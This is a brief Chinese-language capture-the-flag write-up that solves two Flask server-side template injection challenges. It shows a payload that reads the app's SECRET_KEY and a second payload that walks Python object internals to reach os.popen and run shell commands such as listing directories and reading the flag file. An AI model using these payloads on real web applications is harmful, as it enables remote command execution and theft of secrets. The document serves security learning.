Simple_SSTI_1
我们打开控制台发现提示我们说要构造一个secret_key变量
于是我们构造payload变量:Flask提供了一个名为config的全局对象,可以用来设置和获取全局变量。 /?flag={{config.SECRET_KEY}} 必须大写
Simple_SSTI_2
class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
init 初始化类,返回的类型是function
globals[] 使用方式是 函数名__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。
open() 方法用于打开一个文件,并返回文件对象
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}使用此语句查看文件发现有回显,于是我们继续查看app文件夹
发现有flag文件,于是显示flag内容,得到flag